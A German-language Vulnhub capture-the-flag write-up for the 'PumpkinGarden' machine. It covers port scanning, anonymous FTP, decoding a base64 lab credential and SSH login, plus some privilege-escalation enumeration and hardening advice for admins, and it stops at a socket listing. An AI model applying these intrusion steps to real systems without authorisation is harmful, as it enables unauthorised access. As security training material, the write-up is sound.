PumpkinGarden - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
ftp
cat
echo
base64
ssh
sudo
ls (ll)
cd
ss
mysql
find
uname
su

Inhaltsverzeichnis

Reconnaissance

Die Reconnaissance-Phase dient der initialen Informationsgewinnung über das Zielsystem im Netzwerk. Ziel ist es, aktive Hosts zu identifizieren und grundlegende Informationen über offene Ports und Dienste zu sammeln, um die Angriffsfläche zu verstehen.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.122	08:00:27:20:a9:84	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk nach aktiven Geräten mittels ARP-Anfragen. Er sendet ARP-Requests an alle Adressen im lokalen Subnetz und listet die Antworten auf. Die Ausgabe zeigt die IP-Adresse `192.168.2.122`, die zugehörige MAC-Adresse `08:00:27:20:a9:84` und den Hersteller der Netzwerkkarte (PCS Systemtechnik GmbH, was oft auf Oracle VirtualBox hinweist).

Bewertung: Ein Host wurde erfolgreich im lokalen Netzwerk identifiziert. Die IP 192.168.2.122 ist unser Ziel. Die MAC-Adresse deutet auf eine VirtualBox-VM hin, was in einer Testumgebung wie Vulnhub zu erwarten ist. Dies ist der erste Schritt, um das Ziel für detailliertere Scans zu definieren.

Empfehlung (Pentester): Verwende die gefundene IP-Adresse 192.168.2.122 als Ziel für den Nmap-Scan. Notiere die MAC-Adresse für eventuelle spätere Referenz.
Empfehlung (Admin): Implementieren Sie Netzwerk-Monitoring, um ARP-Scans zu erkennen. Segmentieren Sie das Netzwerk, um die Reichweite solcher Scans zu begrenzen. Verwenden Sie Port Security an Switches, um unbekannte MAC-Adressen zu blockieren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
192.168.2.122   pumpkingarden.vln
                    

Analyse: Mit `vi /etc/hosts` wird die lokale `hosts`-Datei des Angreifersystems bearbeitet. Der Eintrag `192.168.2.122 pumpkingarden.vln` wird hinzugefügt. Dies weist das Betriebssystem an, den Hostnamen `pumpkingarden.vln` direkt zur IP-Adresse 192.168.2.122 aufzulösen, ohne einen DNS-Server zu kontaktieren.

Bewertung: Dies ist eine sinnvolle Vorbereitung, um sicherzustellen, dass Webanwendungen, die über diesen Hostnamen angesprochen werden (möglicherweise über Apache Virtual Hosts), korrekt erreicht werden. Es vereinfacht die nachfolgenden Scans und Interaktionen mit dem Webserver.

Empfehlung (Pentester): Immer die `/etc/hosts`-Datei anpassen, wenn Ziel-Hostnamen bekannt werden, besonders in CTF-Szenarien oder bei internen Tests ohne funktionierendes DNS für das Ziel.
Empfehlung (Admin): Diese Aktion betrifft nur das Angreifersystem. Stellen Sie sicher, dass die DNS-Konfiguration im eigenen Netzwerk korrekt ist.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.122 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-17 00:27 CEST
Nmap scan report for pumpkingarden.vln (192.168.2.122)
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              88 Jun 13  2019 note.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
1515/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Mission-Pumpkin
|_http-server-header: Apache/2.4.7 (Ubuntu)
3535/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d88de7483a3c910e3f43eaa305d889e2 (DSA)
|   2048 f0418fe040e3c03a1f4d4f93e663249e (RSA)
|   256 fa87571ba2ba92760ce785e7f53d54b1 (ECDSA)
|_  256 fae8425a8891b44bebe4c3742e23a545 (ED25519)
MAC Address: 08:00:27:20:A9:84 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms pumpkingarden.vln (192.168.2.122)
                    

Analyse: Dieser Nmap-Befehl führt einen umfassenden Scan aller TCP-Ports durch. * `-sS`: TCP SYN-Scan. * `-sC`: Führt Standard-Skripte aus. * `-sV`: Ermittelt Dienstversionen. * `-T5`: Sehr aggressives Timing (schnell, aber auffällig). * `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. * `-Pn`: Überspringt Host-Discovery (Ping-Scan). * `-p-`: Scannt alle 65535 TCP-Ports. **Ergebnisse:** * **Port 21 (FTP):** Offen, läuft `vsftpd` (Version unklar, aber Statusmeldung zeigt 3.0.2). Wichtig: Anonymer Login ist erlaubt (`ftp-anon: Anonymous FTP login allowed`). Das Skript listet auch eine Datei `note.txt` im FTP-Verzeichnis auf. * **Port 1515 (HTTP):** Offen, läuft Apache 2.4.7 (Ubuntu). Der Titel der Seite ist "Mission-Pumpkin". * **Port 3535 (SSH):** Offen, läuft OpenSSH 6.6.1p1 (Ubuntu). Verschiedene Hostkeys werden angezeigt. * **MAC/OS:** Bestätigt VirtualBox und schätzt Linux Kernel 3.x/4.x.

Bewertung: Der Scan enthüllt drei offene Ports mit potenziellen Angriffsvektoren. Der FTP-Server mit erlaubtem anonymen Zugriff und einer `note.txt` ist ein sofortiger Anlaufpunkt. Der Webserver auf dem ungewöhnlichen Port 1515 erfordert weitere Untersuchung. Der SSH-Dienst auf Port 3535 ist ein potenzieller Login-Punkt, falls Zugangsdaten gefunden werden.

Empfehlung (Pentester): 1. Verbinde dich sofort per FTP anonym und hole die `note.txt`. Prüfe, ob Schreibrechte bestehen. 2. Untersuche den Webserver auf Port 1515 (Nikto, Gobuster, manuelle Analyse). 3. Behalte SSH auf Port 3535 im Hinterkopf für spätere Login-Versuche.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, es sei denn, er ist absolut notwendig und die freigegebenen Daten sind unkritisch. Wenn anonym benötigt, stellen Sie sicher, dass keine sensiblen Informationen oder Schreibrechte gewährt werden. Aktualisieren Sie vsftpd, Apache und OpenSSH auf die neuesten Versionen. Verwenden Sie Standardports nur, wenn nötig; benutzerdefinierte Ports (wie 1515, 3535) bieten minimale Verschleierung, aber keine echte Sicherheit. Implementieren Sie Firewalls und Intrusion Detection Systems.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.122 -p- | grep open
21/tcp   open  ftp     vsftpd 2.0.8 or later
1515/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
3535/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
                    

Analyse: Dies ist der gleiche Nmap-Befehl wie zuvor, aber die Ausgabe wird mit `grep open` gefiltert, um nur die Zeilen anzuzeigen, die offene Ports enthalten. Es listet die drei offenen Ports 21 (FTP), 1515 (HTTP) und 3535 (SSH) mit den zugehörigen Diensten und Versionen übersichtlich auf.

Bewertung: Diese gefilterte Ansicht ist nützlich für eine schnelle Zusammenfassung der offenen Ports und bestätigt die Ergebnisse des vorherigen vollständigen Scans. Sie dient als übersichtliche Checkliste für die nächsten Schritte.

Empfehlung (Pentester): Diese Ansicht bestätigt die Angriffsvektoren: FTP, HTTP, SSH. Beginne mit der Untersuchung von FTP.
Empfehlung (Admin): Überprüfen Sie regelmäßig offene Ports auf Ihren Systemen und schließen Sie alle nicht benötigten Dienste.

Web Enumeration

Da ein Webserver auf Port 1515 identifiziert wurde, wird dieser nun genauer untersucht, um versteckte Inhalte, Konfigurationsfehler oder Schwachstellen in der Webanwendung zu finden.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.122:1515
- Nikto v2.5.0
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        1515
+ Start Time:         2023-09-17 00:28:31 (GMT2)

+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 387, size: 58ab693542700, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD .
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8104 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2023-09-17 00:28:52 (GMT2) (21 seconds)

+ 1 host(s) tested
                    

Analyse: Nikto scannt den Webserver auf Port 1515. * `-h 192.168.2.122:1515`: Gibt das Ziel mit dem spezifischen Port an. * **Server:** Bestätigt Apache 2.4.7 (Ubuntu) und markiert ihn als veraltet. * **Fehlende Header:** Meldet fehlende `X-Frame-Options` und `X-Content-Type-Options`. * **ETag Leak:** Mögliche Informationspreisgabe durch ETags (geringes Risiko). * **Directory Indexing:** Findet ein offenes Verzeichnis `/img/`. * **Apache Default File:** Findet `/icons/README`. * **Keine CGI-Verzeichnisse:** Standard-CGI-Verzeichnisse wurden nicht gefunden.

Bewertung: Nikto findet einige typische Konfigurationsschwächen (fehlende Header, veraltete Version) und ein interessantes listbares Verzeichnis (`/img/`). Im Vergleich zu anderen Szenarien liefert Nikto hier relativ wenige kritische Hinweise, aber das offene `/img/`-Verzeichnis ist definitiv eine Untersuchung wert.

Empfehlung (Pentester): Untersuche das Verzeichnis `/img/` manuell im Browser auf interessante Dateien oder Unterverzeichnisse. Aktualisiere die Liste der zu untersuchenden Bereiche um `/img/`. Recherchiere bekannte Schwachstellen für Apache 2.4.7.
Empfehlung (Admin): Aktualisieren Sie Apache. Implementieren Sie die fehlenden Sicherheitsheader. Deaktivieren Sie Directory Indexing (`Options -Indexes` in der Apache-Konfiguration), insbesondere für Verzeichnisse wie `/img/`.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://pumpkingarden.vln:1515 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://pumpkingarden.vln:1515
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              aspx,sql,kdbx,sh,pub,jpeg,bak,php,doc,rar,xml,bat,asp,xls,dll,tar,pdf,rtf,zip,phtml,txt,png,db,gz,py,docx,mdb,jpg,ps1,pl,html,csv,exe,xlsx,raw,accdb
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/09/17 00:29:10 Starting gobuster in directory enumeration mode
===============================================================
http://pumpkingarden.vln:1515/index.html           (Status: 200) [Size: 903]
http://pumpkingarden.vln:1515/img                  (Status: 301) [Size: 326] [--> http://pumpkingarden.vln:1515/img/]

===============================================================
2023/09/17 00:30:55 Finished
===============================================================
                    

Analyse: Gobuster wird verwendet, um nach Verzeichnissen und Dateien auf dem Webserver (Port 1515) zu suchen. * `-u http://pumpkingarden.vln:1515`: Ziel-URL mit Port. * `-x ...`: Sucht nach Dateien mit den angegebenen Endungen. * `-w ...`: Verwendet die `directory-list-2.3-medium.txt` Wortliste. * `-b '403,404'`: Ignoriert die Statuscodes 403 (Forbidden) und 404 (Not Found). * `-e`: Erweiterter Modus (zeigt volle URL). * `--no-error`: Unterdrückt Fehler. Die Ausgabe zeigt nur `index.html` (Status 200 OK) und `/img` (Status 301 Moved Permanently, leitet zu `/img/` weiter). Dies bestätigt das von Nikto gefundene `/img`-Verzeichnis.

Bewertung: Gobuster findet mit dieser Wortliste keine weiteren versteckten Dateien oder Verzeichnisse außer der Startseite und dem bereits bekannten `/img`-Verzeichnis. Dies deutet darauf hin, dass die Hauptangriffsfläche der Webseite möglicherweise klein ist oder dass versteckte Inhalte andere Namen haben, die nicht in der verwendeten Wortliste enthalten sind.

Empfehlung (Pentester): Konzentriere die manuelle Untersuchung auf `index.html` und den Inhalt von `/img/`. Verwende eventuell eine größere oder spezialisierte Wortliste für Gobuster. Untersuche den Quellcode von `index.html` sorgfältig auf Hinweise.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Dateien oder Verzeichnisse über Standard-Wortlisten erraten werden können. Verwenden Sie unvorhersehbare Namen für administrative Schnittstellen oder private Bereiche.

Initial Access

Der erste Zugriff auf das System wird hier über den anonymen FTP-Zugang versucht, kombiniert mit Informationen, die aus der Web-Enumeration und der Analyse der FTP-Inhalte gewonnen wurden.

┌──(root㉿cycat)-[~] └─# ftp 192.168.2.122
Connected to 192.168.2.122.
220 Welcome to Pumpkin's FTP service.
Name (192.168.2.122:cycat): anonymous
331 Please specify the password.
Password: [leer gelassen]
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                    
ftp> ls -la
229 Entering Extended Passive Mode (|||8847|).
150 Here comes the directory listing.
drwxr-xr-x    2 0        113          4096 Jun 11  2019 .
drwxr-xr-x    2 0        113          4096 Jun 11  2019 ..
-rw-r--r--    1 0        0              88 Jun 13  2019 note.txt
226 Directory send OK.
                    
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||35954|).
150 Opening BINARY mode data connection for note.txt (88 bytes).
100% |***********************************|    88      167.51 KiB/s    00:00 ETA
226 Transfer complete.
88 bytes received in 00:00 (117.72 KiB/s)
                    

Analyse: Es wird eine FTP-Verbindung zum Ziel auf Port 21 aufgebaut. * Der Login erfolgt als Benutzer `anonymous` mit einem beliebigen (leeren) Passwort, was erfolgreich ist (`230 Login successful`), wie von Nmap vorhergesagt. * `ls -la` listet den Inhalt des FTP-Verzeichnisses auf und zeigt die Datei `note.txt`. * `get note.txt` lädt die Datei `note.txt` auf das Angreifersystem herunter.

Bewertung: Der anonyme FTP-Zugang funktioniert und die Datei `note.txt`, die bereits im Nmap-Scan sichtbar war, wurde erfolgreich heruntergeladen. Dies ist ein wichtiger Schritt, da die Notiz wahrscheinlich Hinweise enthält.

Empfehlung (Pentester): Analysiere den Inhalt der heruntergeladenen `note.txt`. Versuche als Nächstes, ob Schreibzugriff im FTP-Verzeichnis besteht (z.B. mit `put test.txt`).
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff, wenn er nicht benötigt wird. Wenn er benötigt wird, stellen Sie sicher, dass nur unkritische Dateien lesbar sind und keine Schreibrechte bestehen.

┌──(root㉿cycat)-[~] └─# cat note.txt
Hello Dear!
Looking for route map to PumpkinGarden?
I think jack can help you find it.
                    

Analyse: Der Inhalt der heruntergeladenen `note.txt` wird angezeigt. Die Nachricht erwähnt eine "route map to PumpkinGarden" und verweist auf eine Person oder einen Benutzer namens "jack".

Bewertung: Dies ist ein klarer Hinweis. "jack" ist wahrscheinlich ein Benutzername auf dem System oder eine andere Entität, die weitere Informationen liefern kann. Die "route map" könnte metaphorisch für einen Pfad oder ein Passwort stehen.

Empfehlung (Pentester): Notiere den Namen "jack". Suche nach weiteren Informationen zu "jack" auf dem Webserver oder versuche, ob "jack" ein gültiger Benutzername für SSH ist. Die "route map" könnte im Webserver-Verzeichnis (`/img/`?) oder im Home-Verzeichnis von `jack` liegen.
Empfehlung (Admin): Vermeiden Sie es, Hinweise oder Benutzernamen in öffentlich zugänglichen Dateien wie auf einem anonymen FTP-Server zu hinterlassen.

ftp> put revshell.php
local: revshell.php remote: revshell.php
229 Entering Extended Passive Mode (|||62636|).
550 Permission denied.
                    
ftp> cd /home
550 Failed to change directory.
ftp> mkdir .ssh
550 Permission denied.

Analyse: Hier werden weitere Befehle im FTP-Client ausgeführt: * `put revshell.php`: Es wird versucht, eine Datei hochzuladen. Dies schlägt fehl (`550 Permission denied`). * `cd /home`: Versuch, in das `/home`-Verzeichnis zu wechseln. Schlägt fehl. * `mkdir .ssh`: Versuch, ein Verzeichnis zu erstellen. Schlägt fehl.

Bewertung: Der anonyme FTP-Benutzer hat keine Schreibrechte und kann keine Verzeichnisse wechseln oder erstellen. Der FTP-Zugang ist also nur lesend und auf das initiale Verzeichnis beschränkt. Ein direkter Initial Access über das Hochladen einer Shell via FTP ist nicht möglich.

Empfehlung (Pentester): Der FTP-Vektor ist für den direkten Zugriff erschöpft (außer der `note.txt`). Konzentriere dich auf den Webserver (Port 1515) und die Hinweise aus der `note.txt` ("jack", "route map").
Empfehlung (Admin): Die Berechtigungen für den anonymen FTP-Zugang sind korrekt restriktiv (nur Lesezugriff im Startverzeichnis). Dies ist eine gute Sicherheitspraxis, falls anonymer Zugriff benötigt wird.

Die folgende Information wurde durch manuelle Untersuchung der Webseite auf Port 1515 und ihres Quellcodes gefunden.

http://pumpkingarden.vln:1515/index.html

My dear friend, I love to sit on a pumpkin and have it all to myself,
rather than sitting with a crowd on a velvet cushion. So, it is better
you get one for yourself.

Please Don't disturb me...


I can't help you in getting your pumpkin.
But, I found the route map to PumpkinGarden somewhere under the hood.


view-source:http://pumpkingarden.vln:1515/index.html

                    

Analyse: Der Text auf der Webseite `index.html` enthält eine Nachricht, die erneut die "route map" erwähnt ("somewhere under the hood"). Viel wichtiger ist der HTML-Kommentar (``), der im Quellcode gefunden wurde: "searching for the route map? Pumpkin images may help you find the way".

Bewertung: Der Kommentar ist ein sehr direkter Hinweis. Er legt nahe, dass die "route map" (der nächste Hinweis oder die Zugangsdaten) im Bilderverzeichnis zu finden ist. Dies korreliert mit dem von Nikto und Gobuster gefundenen `/img`-Verzeichnis.

Empfehlung (Pentester): Untersuche das Verzeichnis `http://pumpkingarden.vln:1515/img/` gründlich. Suche nach Unterverzeichnissen oder Dateien mit ungewöhnlichen Namen oder nach versteckten Hinweisen innerhalb der Bilder selbst (Steganographie), obwohl ein verstecktes Verzeichnis wahrscheinlicher ist.
Empfehlung (Admin): Vermeiden Sie es, sensible Hinweise oder "Easter Eggs" in HTML-Kommentaren zu hinterlassen. Kommentare sollten nur für technische Erklärungen des Codes verwendet werden und keine sicherheitsrelevanten Informationen preisgeben.

Basierend auf dem Hinweis im HTML-Kommentar wurde das Bilderverzeichnis untersucht und ein verstecktes Unterverzeichnis gefunden.

http://pumpkingarden.vln:1515/img/hidden_secret/clue.txt

c2NhcmVjcm93IDogNVFuQCR5
                    

Analyse: Durch das Untersuchen des `/img`-Verzeichnisses (vermutlich durch manuelles Browsen oder einen gezielteren Verzeichnis-Scan) wurde das Unterverzeichnis `/img/hidden_secret/` und darin die Datei `clue.txt` gefunden. Der Inhalt der Datei ist der Base64-kodierte String `c2NhcmVjcm93IDogNVFuQCR5`.

Bewertung: Dies ist der nächste entscheidende Hinweis ("clue"). Die Base64-Kodierung ist eine einfache Verschleierung, keine Verschlüsselung, und kann leicht dekodiert werden. Der Inhalt ist höchstwahrscheinlich ein Benutzername und ein Passwort.

Empfehlung (Pentester): Dekodiere den Base64-String. Verwende die dekodierten Zugangsdaten, um dich per SSH auf Port 3535 anzumelden.
Empfehlung (Admin): Verstecken Sie sensible Informationen nicht durch einfache Kodierung oder in "versteckten" Verzeichnissen. Solche Methoden bieten keine Sicherheit ("Security through Obscurity" ist kein verlässliches Konzept). Zugangsdaten sollten niemals in Klartext oder leicht dekodierbarer Form auf dem Webserver abgelegt werden.

┌──(root㉿cycat)-[~] └─# echo -n "c2NhcmVjcm93IDogNVFuQCR5" | base64 -d
scarecrow : 5Qn@$y
                    

Analyse: Der Befehl `echo -n "..."` gibt den Base64-String ohne abschließenden Zeilenumbruch aus. Das Ergebnis wird mittels Pipe (`|`) an den Befehl `base64 -d` weitergeleitet, der die Base64-Kodierung dekodiert. Das Ergebnis ist `scarecrow : 5Qn@$y`.

Bewertung: Die Dekodierung war erfolgreich. Es wurden ein Benutzername (`scarecrow`) und ein Passwort (`5Qn@$y`) enthüllt. Diese Zugangsdaten können nun für den SSH-Login verwendet werden.

Empfehlung (Pentester): Versuche, dich mit `ssh scarecrow@192.168.2.122 -p 3535` und dem Passwort `5Qn@$y` anzumelden.
Empfehlung (Admin): Sichern Sie Zugangsdaten ordnungsgemäß. Verwenden Sie keine Klartext-Passwörter in Dateien. Implementieren Sie starke Passwortrichtlinien.

┌──(root㉿cycat)-[~] └─# ssh scarecrow@192.168.2.122 -p3535
The authenticity of host '[192.168.2.122]:3535 ([192.168.2.122]:3535)' can't be established.
ED25519 key fingerprint is SHA256:mLTE3ZDFS+c1wgTIsHLdH7jtZFKpYoPljQRHRdH7IVo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.2.122]:3535' (ED25519) to the list of known hosts.

			  Welcome to Mission-Pumpkin
      All remote connections to this machine are monitored and recorded

scarecrow@192.168.2.122's password: 5Qn@$y
Last login: Thu Jun 13 00:35:51 2019 from 192.168.1.106

scarecrow@Pumpkin$
                    

Analyse: Es wird eine SSH-Verbindung zum Zielsystem aufgebaut. * `ssh scarecrow@192.168.2.122`: Verbindet als Benutzer `scarecrow` zur Ziel-IP. * `-p3535`: Gibt den benutzerdefinierten SSH-Port an. * Die Authentizität des Hosts wird bestätigt (`yes`). * Das zuvor gefundene Passwort `5Qn@$y` wird eingegeben. * Der Login ist erfolgreich, und eine Shell als Benutzer `scarecrow` auf dem Host `Pumpkin` wird geöffnet.

Bewertung: Initial Access erfolgreich! Durch das Verfolgen der Hinweise vom FTP über die Webseite wurde ein gültiger Satz an SSH-Zugangsdaten gefunden, der den Login als Benutzer `scarecrow` ermöglicht.

Empfehlung (Pentester): Beginne mit der Enumeration des Systems als Benutzer `scarecrow`. Überprüfe die `sudo`-Rechte (`sudo -l`), suche nach interessanten Dateien im Home-Verzeichnis, prüfe laufende Prozesse, Netzwerkverbindungen und SUID/SGID-Dateien, um einen Weg zur Privilege Escalation zu finden.
Empfehlung (Admin): Verwenden Sie starke, einzigartige Passwörter für alle Benutzer. Implementieren Sie Mechanismen zur Erkennung von Brute-Force-Angriffen auf SSH (z.B. fail2ban). Überwachen Sie SSH-Logins. Verwenden Sie nach Möglichkeit schlüsselbasierte Authentifizierung anstelle von Passwörtern.

Privilege Escalation

Nach dem Erhalt einer Shell als Benutzer `scarecrow` wird nach Wegen gesucht, die Rechte auf dem System zu erhöhen, idealerweise auf Root-Ebene. Dies beinhaltet die Untersuchung von Benutzerrechten, Systemkonfigurationen und potenziellen Schwachstellen.

scarecrow@Pumpkin$ sudo -l
[sudo] password for scarecrow: 5Qn@$y
Sorry, user scarecrow may not run sudo on Pumpkin.
                    

Analyse: Der Befehl `sudo -l` wird verwendet, um zu überprüfen, welche Befehle der aktuelle Benutzer (`scarecrow`) mit `sudo` (also mit erhöhten Rechten, meist Root) ausführen darf. Das Passwort für `scarecrow` wird erneut eingegeben. Die Ausgabe "Sorry, user scarecrow may not run sudo on Pumpkin." bedeutet, dass der Benutzer `scarecrow` keine konfigurierten `sudo`-Rechte hat.

Bewertung: Der direkte Weg zur Privilege Escalation über `sudo` ist für den Benutzer `scarecrow` nicht möglich. Andere Methoden müssen gefunden werden.

Empfehlung (Pentester): Suche nach anderen Vektoren: SUID/SGID-Binaries, Kernel-Exploits (basierend auf `uname -a`), Cron-Jobs, schlecht konfigurierte Dienste, sensible Informationen in Dateien.
Empfehlung (Admin): Weisen Sie `sudo`-Rechte nur Benutzern zu, die sie benötigen, und beschränken Sie diese Rechte auf die spezifischen Befehle, die erforderlich sind (Prinzip der geringsten Rechte).

scarecrow@Pumpkin$ ll
total 28
drwxrwxr-x 2 scarecrow scarecrow 4096 Jun 11  2019 ./
drwxr-xr-x 5 root      root      4096 Jun 11  2019 ../
-rw------- 1 scarecrow scarecrow  117 Jun 13  2019 .bash_history
-rw-r--r-- 1 scarecrow scarecrow  220 Jun 11  2019 .bash_logout
-rw-r--r-- 1 scarecrow scarecrow 3637 Jun 11  2019 .bashrc
-rw-r--r-- 1 root      root       167 Jun 11  2019 note.txt
-rw-r--r-- 1 scarecrow scarecrow  675 Jun 11  2019 .profile
                    
scarecrow@Pumpkin$ cat .bash_history
ls
ls -la
cd /home/
ls
cd goblin/
cd jack/
exit
ls
cat note.txt
exit
ls
cd /home/
ls
cd goblin/
cd jack/
eexit
exit
                    

Analyse: `ll` (Alias für `ls -la` oder `ls -l`) listet den Inhalt des Home-Verzeichnisses von `scarecrow` auf. Es enthält Standard-Konfigurationsdateien (`.bashrc`, `.profile`, etc.) und eine `note.txt`, die `root` gehört, aber für alle lesbar ist. Die `.bash_history` zeigt Befehle, die `scarecrow` zuvor ausgeführt hat, darunter Versuche, in die Home-Verzeichnisse von `goblin` und `jack` zu wechseln, und das Lesen der `note.txt`.

Bewertung: Das Home-Verzeichnis selbst enthält keine offensichtlichen Hinweise für Privilege Escalation. Die lesbare `note.txt` (die `root` gehört) ist jedoch interessant und sollte untersucht werden. Die Bash-History bestätigt, dass es Benutzer namens `goblin` und `jack` gibt.

Empfehlung (Pentester): Lies den Inhalt der Datei `note.txt` im Home-Verzeichnis von `scarecrow` (`cat note.txt`). Untersuche die Berechtigungen der anderen Home-Verzeichnisse.
Empfehlung (Admin): Stellen Sie sicher, dass Dateien in Benutzer-Home-Verzeichnissen die korrekten Berechtigungen haben. Sensible Notizen sollten nicht für alle lesbar sein, auch wenn sie `root` gehören.

scarecrow@Pumpkin$ ls /home/
goblin  jack  scarecrow
                    
scarecrow@Pumpkin$ cd /home/goblin/
-bash: cd: goblin/: Permission denied
scarecrow@Pumpkin$ cd /home/jack/
-bash: cd: jack/: Permission denied

Analyse: `ls /home/` bestätigt die Existenz der Home-Verzeichnisse für `goblin`, `jack` und `scarecrow`. Versuche, mit `cd` in die Verzeichnisse von `goblin` und `jack` zu wechseln, scheitern mit "Permission denied".

Bewertung: Der Benutzer `scarecrow` hat keinen Zugriff auf die Home-Verzeichnisse der anderen Benutzer. Dies ist eine normale und sichere Konfiguration.

Empfehlung (Pentester): Konzentriere dich auf die Informationen, die als `scarecrow` zugänglich sind, insbesondere die `note.txt` im eigenen Home-Verzeichnis. Führe allgemeine System-Enumeration durch (SUID-Dateien, Cronjobs, Kernel-Version).
Empfehlung (Admin): Die Berechtigungen für die Home-Verzeichnisse sind korrekt gesetzt und verhindern unbefugten Zugriff durch andere Benutzer.

scarecrow@Pumpkin:/home$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#* * * * *	root	/root/heloworld.sh
                    

Analyse: Der Inhalt der System-Crontab (`/etc/crontab`) wird angezeigt. Sie enthält die Standardeinträge für stündliche, tägliche, wöchentliche und monatliche Cronjobs, die Skripte in den entsprechenden `/etc/cron.*`-Verzeichnissen ausführen. Es gibt einen auskommentierten Eintrag (`#* * * * * root /root/heloworld.sh`), der nicht aktiv ist.

Bewertung: Die `crontab` selbst zeigt keine offensichtlichen Schwachstellen oder ungewöhnlichen Einträge, die für Privilege Escalation ausgenutzt werden könnten. Die Standard-Cronjobs laufen als `root`, aber um sie auszunutzen, müsste man Schreibzugriff auf die `/etc/cron.*`-Verzeichnisse oder die darin enthaltenen Skripte haben, was `scarecrow` wahrscheinlich nicht hat.

Empfehlung (Pentester): Überprüfe die Berechtigungen der Verzeichnisse `/etc/cron.hourly`, `/etc/cron.daily` etc. und der darin enthaltenen Skripte auf eventuelle Schreibrechte. Untersuche auch benutzerspezifische Crontabs (obwohl `scarecrow` wahrscheinlich keine hat). Cronjobs sind hier wahrscheinlich kein vielversprechender Vektor.
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Cron-Verzeichnisse und Skripte restriktiv sind (normalerweise nur für `root` schreibbar). Überprüfen Sie regelmäßig alle Cronjobs auf Notwendigkeit und Sicherheit.

scarecrow@Pumpkin:/home$ ss -atlpn
State      Recv-Q Send-Q               Local Address:Port                 Peer Address:Port
LISTEN     0      128                              *:3535                            *:*
LISTEN     0      32                               *:21                              *:*
LISTEN     0      50                       127.0.0.1:3306                            *:*
